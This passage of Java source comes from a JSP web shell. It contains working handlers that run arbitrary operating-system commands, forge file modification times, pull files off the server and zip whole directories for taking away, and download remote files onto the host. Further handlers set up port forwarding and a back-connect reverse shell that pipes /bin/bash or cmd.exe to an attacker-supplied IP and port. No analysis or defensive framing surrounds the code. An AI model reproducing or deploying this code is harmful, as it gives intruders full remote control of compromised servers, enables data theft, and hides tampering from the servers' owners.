public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String f = request.getParameter("file");
File file = new File(f);
if (!file.exists())
return;

String year = request.getParameter("year");
String month = request.getParameter("month");
String date = request.getParameter("date");
String hour = request.getParameter("hour");
String minute = request.getParameter("minute");
String second = request.getParameter("second");

Calendar cal = Calendar.getInstance();
cal.set(Calendar.YEAR,Integer.parseInt(year));
cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
cal.set(Calendar.DATE,Integer.parseInt(date));
cal.set(Calendar.HOUR,Integer.parseInt(hour));
cal.set(Calendar.MINUTE,Integer.parseInt(minute));
cal.set(Calendar.SECOND,Integer.parseInt(second));
if(file.setLastModified(cal.getTimeInMillis())){
JSession.setAttribute(MSG,"Reset File Property Success!");
} else {
JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
}
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {

throw e ;
}
}
}
//VShell
private static class VsInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String cmd = request.getParameter("command");
String program = request.getParameter("program");
if (cmd == null) {
if (ISLINUX)
cmd = "id";
else
cmd = "cmd.exe /c set";
}
if (program == null) 
program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
if (JSession.getAttribute(MSG)!=null) {
Util.outMsg(out,JSession.getAttribute(MSG).toString());
JSession.removeAttribute(MSG);
}
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Execute Program &raquo;</h2>"+
"<p>"+
"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
"<input type=\"hidden\" name=\"type\" value=\"program\">"+
"Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\"  />"+
"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"+
"</p>"+
"</form>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Execute Shell &raquo;</h2>"+
"<p>"+
"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
"<input type=\"hidden\" name=\"type\" value=\"command\">"+
"Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\"  />"+
"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"+
"</p>"+
"</form>"+
"</td>"+
"</tr></table>");
} catch (Exception e) {

throw e ;
}
}
}
private static class ShellInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String type = request.getParameter("type");
if (type.equals("command")) {
((Invoker)ins.get("vs")).invoke(request,response,JSession);
out.println("<div style='margin:10px'><hr/>");
out.println("<pre>");
String command = request.getParameter("command");
if (!Util.isEmpty(command)) {
Process pro = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String s = reader.readLine();
while (s != null) {
out.println(Util.htmlEncode(Util.getStr(s)));
s = reader.readLine();
}
reader.close();
reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
s = reader.readLine();
while (s != null) {
out.println(Util.htmlEncode(Util.getStr(s)));
s = reader.readLine();
}
reader.close();
out.println("</pre></div>");
}
} else {
String program = request.getParameter("program");
if (!Util.isEmpty(program)) {
Process pro = Runtime.getRuntime().exec(program);
JSession.setAttribute(MSG,"Program Has Run Success!");
((Invoker)ins.get("vs")).invoke(request,response,JSession);
}
}
} catch (Exception e) {

throw e ;
}
}
}
private static class DownInvoker extends DefaultInvoker{
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String path  = request.getParameter("path");
if (Util.isEmpty(path)) 
return;
InputStream i = null;
Object enter = JSession.getAttribute(ENTER);
String fileName = null;
if (enter == null) {
File f = new File(path);
if (!f.exists()) 
return;
fileName = f.getName();
i = new FileInputStream(f);
} else {
ZipFile zf = new ZipFile((String)enter);
ZipEntry entry = new ZipEntry(path);
fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
i = zf.getInputStream(entry);
}
response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
BufferedInputStream input = new BufferedInputStream(i);
BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
byte[] data = new byte[1024];
int len = input.read(data);
while (len != -1) {
output.write(data,0,len);
len = input.read(data);
}
input.close();
output.close();
} catch (Exception e) {

throw e ;
}
}
}
//VDown
private static class VdInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String savepath = request.getParameter("savepath");
String url = request.getParameter("url");
if (Util.isEmpty(url))
url = "http://www.forjj.com/";
if (Util.isEmpty(savepath)) {
savepath = JSession.getAttribute(CURRENT_DIR).toString();
}
if (!Util.isEmpty(JSession.getAttribute("done"))) {
Util.outMsg(out,"Download Remote File Success!");
JSession.removeAttribute("done");
}
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Remote File DownLoad &raquo;</h2>"+
"<p>"+
"<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
"<p>File&nbsp;&nbsp;&nbsp;URL: "+
"  <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\"  /></p>"+
"<p>Save Path: "+
"<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\"  /></p>"+
"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\"  />"+
"</p>"+
"</form></table>");
} catch (Exception e) {

throw e ;
}
}
}
private static class DownRemoteInvoker extends DefaultInvoker {
public boolean doBefore(){return true;}
public boolean doAfter(){return true;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String downFileUrl = request.getParameter("url");
String savePath = request.getParameter("savepath");
if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
return;
URL downUrl = new URL(downFileUrl);
URLConnection conn = downUrl.openConnection();

File tempF = new File(savePath);
File saveF = tempF;
if (tempF.isDirectory()) {
String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
saveF = new File(tempF,fName);
}
BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
byte[] data = new byte[1024];
int len = in.read(data);
while (len != -1) {
out.write(data,0,len);
len = in.read(data);
}
in.close();
out.close();
JSession.setAttribute("done","d");
((Invoker)ins.get("vd")).invoke(request,response,JSession);
} catch (Exception e) {

throw e ;
}
}
}
private static class IndexInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
((Invoker)ins.get("filelist")).invoke(request,response,JSession);
} catch (Exception e) {

throw e ;
}
}
}
private static class MkDirInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String name = request.getParameter("name");
File f = new File(name);
if (!f.isAbsolute()) {
String path = JSession.getAttribute(CURRENT_DIR).toString();
if (!path.endsWith("/"))
path += "/";
path += name;
f = new File(path);
}
f.mkdirs();
JSession.setAttribute(MSG,"Make Directory Success!");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {

throw e ;
}
}
}
private static class MoveInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String src = request.getParameter("src");
String target  = request.getParameter("to");
if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
File file = new File(src);
if(file.renameTo(new File(target))) {
JSession.setAttribute(MSG,"Move File Success!");
} else {
String msg = "Move File Failed!";
if (file.isDirectory()) {
msg += "The Move Will Failed When The Directory Is Not Empty.";
}
JSession.setAttribute(MSG,msg);
}
response.sendRedirect(SHELL_NAME);
}
} catch (Exception e) {

throw e ;
}
}
}
private static class RemoveDirInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String dir = request.getParameter("dir");
File file = new File(dir);
if (file.exists()) {
deleteFile(file);
deleteDir(file);
}

JSession.setAttribute(MSG,"Remove Directory Success!");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {

throw e ;
}
}
public void deleteFile(File f) {
if (f.isFile()) {
f.delete();
}else {
File[] list = f.listFiles();
for (int i = 0;i<list.length;i++) {
                        File ff=list[i];
deleteFile(ff);
}
}
}
public void deleteDir(File f) {
File[] list = f.listFiles();
if (list.length == 0) {
f.delete();
} else {
for (int i = 0;i<list.length;i++) {
                        File ff=list[i];
deleteDir(ff);
}
deleteDir(f);
}
}
}
private static class PackBatchInvoker extends DefaultInvoker{
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String files = request.getParameter("files");
if (Util.isEmpty(files))
return;
String saveFileName = request.getParameter("savefilename");
File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
if (saveF.exists()) {
JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
response.sendRedirect(SHELL_NAME);
return;
}
ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
String[] arr = files.split(",");
for (int i = 0;i<arr.length;i++) {
                        String f=arr[i];
File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
ZipEntry entry = new ZipEntry(pF.getName());
zout.putNextEntry(entry);
FileInputStream fInput = new FileInputStream(pF);
int len = 0;
byte[] buf = new byte[1024];
while ((len = fInput.read(buf)) != -1) {
zout.write(buf, 0, len);
zout.flush();
}
fInput.close();
}
zout.close();
JSession.setAttribute(MSG,"Pack Files Success!");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {

throw e;
}
}
}
private static class VPackConfigInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String packfile = request.getParameter("packedfile");
String currentd = JSession.getAttribute(CURRENT_DIR).toString();
out.println("<form action='"+SHELL_NAME+"' method='post'>"+
"<input type='hidden' name='o' value='pack'/>"+
"<input type='hidden' name='config' value='true'/>"+
"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"    <tr>"+
"      <td><h2 id=\"Bin_H2_Title\">Pack Configuration &gt;&gt;<hr/></h2>"+
"        <div id=\"hOWTm\">"+
"          <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
"            <tr align=\"center\">"+
"              <td style=\"width:5%\"></td>"+
"              <td  align=\"center\"><table border=\"0\">"+
"                <tr>"+
"                  <td>Packed Dir</td>"+
"                  <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
"                </tr>"+
"                <tr>"+
"                  <td>Save To</td>"+
"                  <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
"                </tr>"+
"                <tr>"+
"                  <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
"                    <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
"                    <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
"                    </fieldset></td>"+
"                  </tr>"+
"                <tr>"+
"                  <td>Filesize Filter</td>"+
"                  <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
"                    <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
"                </tr>"+
"                <tr>"+
"                  <td>Exclude Dir</td>"+
"                  <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
"                </tr>"+
"              </table></td>"+
"            </tr>"+
"            <tr align=\"center\">"+
"              <td colspan=\"2\">"+
"                <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
"              </td>"+
"            </tr>"+
"          </table>"+
"        </div></td>"+
"    </tr>"+
"  </table></form>"
);
} catch (Exception e) {

throw e;
}
}
}
private static class PackInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
private boolean config = false;
private String extFilter = "blacklist";
private String[] fileExts = null;
private String sizeFilter = "no";
private int filesize = 0;
private String[] exclude = null;
private String packFile = null;
private void reset(){
this.config = false;
this.extFilter = "blacklist";
this.fileExts = null;
this.sizeFilter = "no";
this.filesize = 0;
this.exclude = null;
this.packFile = null;
}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String config = request.getParameter("config");
if (!Util.isEmpty(config) && config.equals("true")) {
this.config = true;
this.extFilter = request.getParameter("extfilter");
this.fileExts = request.getParameter("fileext").split(",");
this.sizeFilter = request.getParameter("sizefilter");
this.filesize = Integer.parseInt(request.getParameter("filesize"));
this.exclude = request.getParameter("exclude").split(",");
}
String packedFile = request.getParameter("packedfile");
if (Util.isEmpty(packedFile))
return;
this.packFile = packedFile;
String saveFileName = request.getParameter("savefilename");
File saveF = null;
if (this.config)
saveF = new File(saveFileName);
else
saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
if (saveF.exists()) {
JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
response.sendRedirect(SHELL_NAME);
return;
}
File pF = new File(packedFile);
ZipOutputStream zout = null;
String base = "";
if (pF.isDirectory()) {
if (pF.listFiles().length == 0) {
JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
response.sendRedirect(SHELL_NAME);
this.reset();
return;
}
zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
zipDir(pF,base,zout);
} else {
zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
zipFile(pF,base,zout);
}
zout.close();
this.reset();
JSession.setAttribute(MSG,"Pack File Success!");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {
throw e;
}
}
public void zipDir(File f,String base,ZipOutputStream zout)  throws Exception {
if (f.isDirectory()) {
if (this.config) {
String curName = f.getAbsolutePath().replace('\\','/');
curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
if (this.exclude != null) {
for (int i = 0;i<exclude.length;i++) {
if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
return;
}
}
}
}
File[] arr = f.listFiles();
for (int i = 0;i<arr.length;i++) {
                            File ff=arr[i];
String tmpBase = base;
if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
tmpBase += "/";
zipDir(ff,tmpBase+f.getName(),zout);
}
} else {
String tmpBase = base;
if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
tmpBase += "/";
zipFile(f,tmpBase,zout);
}

}
public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
if (this.config) {
String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
if (this.extFilter.equals("blacklist")) {
if (Util.exists(this.fileExts,ext)) {
return;
}
} else if (this.extFilter.equals("whitelist")) {
if (!Util.exists(this.fileExts,ext)) {
return;
}
}
if (!this.sizeFilter.equals("no")) {
double size = f.length() / 1024;
if (this.sizeFilter.equals("greaterthan")) {
if (size < filesize)
return;
} else if (this.sizeFilter.equals("lessthan")) {
if (size > filesize)
return;
}
}
}
ZipEntry entry = new ZipEntry(base+f.getName());
zout.putNextEntry(entry);
FileInputStream fInput = new FileInputStream(f);
int len = 0;
byte[] buf = new byte[1024];
while ((len = fInput.read(buf)) != -1) {
zout.write(buf, 0, len);
zout.flush();
}
fInput.close();
}
}
private static class UnPackInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String savepath = request.getParameter("savepath");
String zipfile = request.getParameter("zipfile");
if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
return;
File save = new File(savepath);
save.mkdirs();
ZipFile file = new ZipFile(new File(zipfile));   
Enumeration e = file.entries();   
while (e.hasMoreElements()) {   
ZipEntry en = (ZipEntry) e.nextElement(); 
String entryPath = en.getName();
int index = entryPath.lastIndexOf("/");
if (index != -1)
entryPath = entryPath.substring(0,index);
File absEntryFile = new File(save,entryPath);
if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) 
absEntryFile.mkdirs();
BufferedOutputStream output = null;
BufferedInputStream input = null;
try {
output = new BufferedOutputStream(   
new FileOutputStream(new File(save,en.getName())));   
input = new BufferedInputStream(   
file.getInputStream(en));   
byte[] b = new byte[1024];   
int len = input.read(b);   
while (len != -1) {   
output.write(b, 0, len);   
len = input.read(b);   
}   
} catch (Exception ex) {
} finally {
try {
if (output != null)
output.close();
if (input != null)
input.close();
} catch (Exception ex1) {
}
}
}
file.close();
JSession.setAttribute(MSG,"UnPack File Success!");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {

throw e ;
}
}
}
//VMapPort
private static class VmpInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
Object localIP = JSession.getAttribute("localIP");
Object localPort = JSession.getAttribute("localPort");
Object remoteIP = JSession.getAttribute("remoteIP");
Object remotePort = JSession.getAttribute("remotePort");
Object done = JSession.getAttribute("done");

JSession.removeAttribute("localIP");
JSession.removeAttribute("localPort");
JSession.removeAttribute("remoteIP");
JSession.removeAttribute("remotePort");
JSession.removeAttribute("done");

if (Util.isEmpty(localIP))
localIP = InetAddress.getLocalHost().getHostAddress();
if (Util.isEmpty(localPort))
localPort = "3389";
if (Util.isEmpty(remoteIP))
remoteIP = "www.forjj.com";
if (Util.isEmpty(remotePort))
remotePort = "80";
if (!Util.isEmpty(done))
Util.outMsg(out,done.toString());

out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
"<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
"  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;<hr/></h2>"+
"      <div id=\"hOWTm\">"+
"      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
"      <tr align=\"center\">"+
"        <td style=\"width:5%\"></td>"+
"        <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
"          <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
"          </td>"+
"        <td style=\"width:20%\" align=\"left\">Local Port :"+
"          <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
"        <td style=\"width:20%\" align=\"left\">Remote Ip :"+
"          <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
"        <td style=\"width:20%\" align=\"left\">Remote Port :"+
"          <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
"      </tr>"+
"      <tr align=\"center\">"+
"        <td colspan=\"5\"><br/>"+
"          <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
"            <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
"    </td>"+
"    </tr>"+
"    </table>"+
"    </div>"+
"</td>"+
"</tr>"+
"</table>"+
"</form>");
String targetIP = request.getParameter("targetIP");
String targetPort = request.getParameter("targetPort");
String yourIP = request.getParameter("yourIP");
String yourPort = request.getParameter("yourPort");
if (Util.isEmpty(targetIP))
targetIP = "127.0.0.1";
if (Util.isEmpty(targetPort))
targetPort = "3389";
if (Util.isEmpty(yourIP))
yourIP = request.getRemoteAddr();
if (Util.isEmpty(yourPort))
yourPort = "53";
out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
"<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
"  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td><h2 id=\"Bin_H2_Title\">Port Back &gt;&gt;<hr/></h2>"+
"      <div id=\"hOWTm\">"+
"      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
"      <tr align=\"center\">"+
"        <td style=\"width:5%\"></td>"+
"        <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
"          <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
"          </td>"+
"        <td style=\"width:20%\" align=\"left\">Target Port :"+
"          <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
"        <td style=\"width:20%\" align=\"left\">Your Ip :"+
"          <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
"        <td style=\"width:20%\" align=\"left\">Your Port :"+
"          <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
"      </tr>"+
"      <tr align=\"center\">"+
"        <td colspan=\"5\"><br/>"+
"          <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
"    </td>"+
"    </tr>"+
"    </table>"+
"    </div>"+
"</td>"+
"</tr>"+
"</table>"+
"</form>");
} catch (Exception e) {

throw e ;
}
}
}
//StopMapPort
private static class SmpInvoker extends DefaultInvoker {
public boolean doAfter(){return true;}
public boolean doBefore(){return true;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
Object obj = JSession.getAttribute(PORT_MAP);
if (obj != null) {
ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
server.close();
}
JSession.setAttribute("done","Stop Success!");
((Invoker)ins.get("vmp")).invoke(request,response,JSession);
} catch (Exception e) {

throw e ;
}
}
}
//PortBack
private static class PortBackInvoker extends DefaultInvoker {
public boolean doAfter(){return true;}
public boolean doBefore(){return true;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String targetIP = request.getParameter("targetIP");
String targetPort = request.getParameter("targetPort");
String yourIP = request.getParameter("yourIP");
String yourPort = request.getParameter("yourPort");
Socket yourS = new Socket();
yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
Socket targetS = new Socket();
targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
JSession.setAttribute("done","Port Back Success !");
((Invoker)ins.get("vmp")).invoke(request,response,JSession);
} catch (Exception e) {

throw e ;
}
}
}
private static class MapPortInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String localIP = request.getParameter("localIP");
String localPort = request.getParameter("localPort");
final String remoteIP = request.getParameter("remoteIP");
final String remotePort = request.getParameter("remotePort");
if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
return;
Object obj = JSession.getAttribute(PORT_MAP);
if (obj != null) {
ServerSocket s = (ServerSocket)obj;
s.close();
}
final ServerSocket server = new ServerSocket();
server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
JSession.setAttribute(PORT_MAP,server);
new Thread(new Runnable(){
public void run(){
while (true) {
Socket soc = null;
Socket remoteSoc = null;
DataInputStream remoteIn = null;
DataOutputStream remoteOut = null;
DataInputStream localIn = null;
DataOutputStream localOut = null;
try{
soc = server.accept();
remoteSoc = new Socket();
remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
remoteIn = new DataInputStream(remoteSoc.getInputStream());
remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
localIn = new DataInputStream(soc.getInputStream());
localOut = new DataOutputStream(soc.getOutputStream());
StreamConnector.readFromLocal(localIn,remoteOut);
StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
}catch(Exception ex)
{                                
break;
}
}
}

}).start();
JSession.setAttribute("done","Map Port Success!");
JSession.setAttribute("localIP",localIP);
JSession.setAttribute("localPort",localPort);
JSession.setAttribute("remoteIP",remoteIP);
JSession.setAttribute("remotePort",remotePort);
JSession.setAttribute(SESSION_O,"vmp");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {

throw e ;
}
}
}
//VBackConnect
private static class VbcInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
Object ip = JSession.getAttribute("ip");
Object port = JSession.getAttribute("port");
Object program = JSession.getAttribute("program");
Object done = JSession.getAttribute("done");
JSession.removeAttribute("ip");
JSession.removeAttribute("port");
JSession.removeAttribute("program");
JSession.removeAttribute("done");
if (Util.isEmpty(ip))
ip = request.getRemoteAddr();
if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
port = "53";
if (Util.isEmpty(program)) {
if (ISLINUX)
program = "/bin/bash";
else
program = "cmd.exe";
}

if (!Util.isEmpty(done))
Util.outMsg(out,done.toString());
out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
"<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
"  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"+
"      <div id=\"hOWTm\">"+
"      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
"      <tr align=\"center\">"+
"        <td style=\"width:5%\"></td>"+
"        <td  align=\"center\">Your Ip :"+
"          <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
"          Your Port :"+
"          <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
"          <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
"      </tr>"+
"      <tr align=\"center\">"+
"        <td colspan=\"2\"><br/>"+
"          <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
"    </td>"+
"    </tr>"+
"    </table>"+
"    </div>"+
"</td>"+
"</tr>"+
"</table>"+
"</form>");
} catch (Exception e) {

throw e ;
}
}
}
private static class BackConnectInvoker extends DefaultInvoker {
public boolean doAfter(){return false;}
public boolean doBefore(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String ip = request.getParameter("ip");
String port = request.getParameter("port");
String program = request.getParameter("program");
if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
return;
Socket socket = new Socket(ip,Integer.parseInt(port));
Process process = Runtime.getRuntime().exec(program);
(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
(new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
JSession.setAttribute("done","Back Connect Success!");
JSession.setAttribute("ip",ip);
JSession.setAttribute("port",port);
JSession.setAttribute("program",program);
JSession.setAttribute(SESSION_O,"vbc");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {

throw e ;
}
}
}
private static class JspEnvInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"      <tr>"+
"        <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"+
"          <div id=\"ghaB\">"+
"            <hr/>"+
"            <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
Properties pro = System.getProperties();
Enumeration names = pro.propertyNames();
while (names.hasMoreElements()){
String name = (String)names.nextElement();
out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
}
